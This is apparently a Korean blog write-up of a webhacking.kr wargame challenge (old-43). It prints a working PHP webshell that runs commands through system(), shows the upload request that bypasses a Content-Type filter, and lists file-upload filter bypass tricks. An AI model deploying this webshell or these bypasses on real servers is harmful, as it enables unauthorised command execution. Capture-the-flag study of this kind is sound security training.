
1. 문제 정보
- 문제 번호 : old -43
- 문제 점수 : 25점
2. 문제 분석
문제에 들어가면 you must webshell and cat /flag 글과 파일 업로드 하는 것이 나온다.
웹쉘에서 cat /flag를 하면 flag가 나온다고 적혀있다.

http는 아래처럼 생겼고 enctype="multipart/form-data"는 HTML 폼(Form) 태그에서 서버로 데이터를 보낼 때, 데이터들을 어떻게 포장해서 보낼지 결정하는 인코딩 방식을 지정하는 속성이다.
파일을 보낼 때의 필수 조건 HTML의 form 태그는 기본적으로 application/x-www-form-urlencoded라는 방식을 사용한다. 이 방식은 모든 데이터를 텍스트(문자열)로 변환해서 전송한다. 하지만 이미지, 실행 파일, 압축 파일 같은 바이너리 데이터는 텍스트로 변환하면 내용이 깨지거나 손상되므로파일을 전송할 때는 반드시 데이터를 쪼개서 원본 그대로 전송하는 multipart/form-data를 써야만 한다.
<html>
<head>
<title>Challenge 43</title>
</head>
<body>
<hr>
You must upload webshell and cat <b>/flag</b>
<hr>
<form method=post enctype="multipart/form-data" action=index.php>
<input name=file type=file><input type=submit>
</form>
</body>
</html>
3. 풀이
php 웹쉘 코드는 이렇게 짤 수 있다.
<?php
echo 'Enter a Command:<br>';
echo '<form action="">';
echo '<input type=text name="cmd">';
echo '<input type="submit">';
echo '</form>';
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
웹 쉘을 그냥 파일로 올리면 wrong type가 뜬다

파일을 업로드 하는 http 요청을 봐보자
POST /index.php HTTP/1.1
Host: webhacking.kr:10004
Content-Length: 408
Cache-Control: max-age=0
Accept-Language: ko-KR,ko;q=0.9
Origin: http://webhacking.kr:10004
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFTXlJXr5E1MBb0zE
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://webhacking.kr:10004/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=h5jhp4l7gatm2eda96tjphvan7
Connection: keep-alive
------WebKitFormBoundaryFTXlJXr5E1MBb0zE
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php
echo 'Enter a Command:<br>';
echo '<form action="">';
echo '<input type=text name="cmd">';
echo '<input type="submit">';
echo '</form>';
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
------WebKitFormBoundaryFTXlJXr5E1MBb0zE--
이 코드에서 확장자를 유추할만한 것은 content-type이랑 filename의 확장자이다. filename의 확장자를 바꿔도 똑같이 wrong type이므로 content-type를 text로 바꿔보면 웹 쉘이 올라간다.
application/octet-stream은 형식이 명확하게 지정되지 않은 임의의 이진 데이터를 의미한다.

들어가서 cat /flag를 입력하면 flag가 나온다.

4. 보안 관점에서 보완할 점
현재 문제는 Content-Type 헤더 값을 기준으로 필터링을 수행했지만, 실제 환경에서는 확장자 검사도 병행하는 경우가 많다. 만약 서버가 .php 확장자를 직접 차단하고 있다면 어떻게 우회할 수 있을까?
1. 대소문자 혼용
서버가 확장자의 대소문자를 구분하지 않거나 필터링 전 소문자 변환 처리를 누락한 점을 이용한다. .php 대신 .PhP, .PHP 등의 형태로 업로드하여 검증을 통과하고 서버에서는 PHP로 실행되게 한다.
2. 블랙리스트 미비점 공략
서버가 금지하는 특정 확장자 목록에 누락된 실행 파일 확장자를 사용한다. .php가 차단되어도 .php3, .php4, .phtml, .pht 등 동일하게 스크립트로 작동할 수 있는 다른 확장자를 선택하여 전송한다.
3. 구조적 검증 로직 악용
파일명 파싱 로직의 허점을 노린다. 두 개의 확장자를 사용하는 이중 확장자 방식, 문자열의 끝을 강제로 인식시키는 널 바이트(%00) 삽입, 또는 시스템 예약어인 공백이나 마침표를 끝에 추가하여 필터링을 무력화한다.
4. 서버 설정 파일 조작
업로드 권한이 있는 디렉토리에 서버 동작을 제어하는 설정 파일을 직접 올린다. Apache의 .htaccess나 IIS의 web.config를 업로드하여 특정 일반 텍스트 확장자(.txt, .jpg)를 PHP 엔진이 처리하도록 강제로 재설정한다.
5. 파일 시그니처 위장 (Polyglot)
확장자뿐만 아니라 파일의 내부 데이터까지 검사하는 경우에 사용한다. 이미지 파일의 헤더 정보(Magic Number)를 유지하면서 그 뒤에 웹쉘 코드를 삽입하여, 서버가 실제 이미지 파일로 오인하게 만든 뒤 실행시킨다.
5. 요약
- 서버 측에서 파일의 확장자가 아닌 HTTP 요청 헤더의 Content-Type을 검사하여 업로드를 제한했다.
- 웹쉘 코드를 작성한 후, 요청 패킷에서 Content-Type을 application/octet-stream에서 image/jpeg나 text/plain 등으로 변환하여 필터링을 우회했다.
- 업로드된 PHP 파일을 실행하여 시스템 명령어 cat /flag를 전달하고 플래그 값을 획득했다.
'워게임 > webhacking.kr' 카테고리의 다른 글
| [webhacking.kr] old-12 문제 (0) | 2026.01.30 |
|---|---|
| [webhacking.kr] old-51 문제 (0) | 2026.01.30 |
| [webhacking.kr] old-19 문제 (0) | 2026.01.29 |
| [webhacking.kr] old-1문제 (0) | 2026.01.27 |
| [webhacking.kr] old-23문제 (1) | 2026.01.27 |